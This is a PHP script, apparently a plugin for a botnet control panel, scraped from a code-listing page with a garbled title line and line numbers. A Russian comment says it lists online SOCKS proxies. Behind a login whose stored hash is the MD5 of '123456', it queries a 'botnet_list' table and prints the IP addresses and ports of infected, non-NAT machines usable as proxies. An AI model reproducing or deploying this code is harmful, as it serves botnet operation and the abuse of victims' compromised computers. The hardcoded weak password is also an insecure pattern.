php session_start if isset _SESSION authorized _SESSION authorized tru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
session_start();
if ( !(isset($_SESSION['authorized'])) || ($_SESSION['authorized']!='true') )
{
if (isset($_POST['pass']))
{
$pass="e10adc3949ba59abbe56e057f20f883e";
$temp_pass=md5($_POST['pass']);
if ($temp_pass==$pass)
{
$_SESSION['authorized']='true';
$location="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
header("Location: ".$location);
exit;
}
else
{
echo "<center><b>Wrong pass</b></center>";
}
}
?>
<html>
<head>
<meta http-equiv="Expires" content="Mon, 26 Jul 1997 05:00:00 GMT" />
<meta http-equiv="Pragma" content="no-cache" />
<link rel="stylesheet" type="text/css" href="style.css">
<title>Checker</title>
</head>
<body>
<form action='<?=$_SERVER['REQUEST_URI']?>' method='post'>
<table class="login" align=center>
<tr><td colspan=3 align=center class='login_top'>Socks List</td></tr>
<tr>
<td align=center class='login_bottom'> Password: </td>
<td align=center class='login_bottom'><input name='pass' type='password' value='' maxlength='32'></td>
</tr>
<tr>
<td align=center class='login_bottom' colspan='2'><input class="button" type='submit' value='Log in'></td>
</tr>
</table>
</form>
</body>
</html>
<?
exit;}
?>
<?
/*
Получение списка соксов, находящихся в онлайне.
Файл должен быть выложен в корень панели управления.
*/
define('__CP__', 1);
require_once('system/global.php');
if(!@include_once('system/config.php'))die();
header('Content-Type: text/plain; charset=utf-8');
HTTPNoCacheHeaders();
if(!ConnectToDB() || !($r = @mysql_query('SELECT ipv4, port_s1 FROM botnet_list WHERE flag_nat=0 AND rtime_last>='.(time() - BOTNET_TIMEOUT))))
{
die('MySQL error: '.mysql_error());
}
while(($m = mysql_fetch_row($r)))
{
echo "{$m[0]}:{$m[1]} {$m[2]}\r\n";
}
?>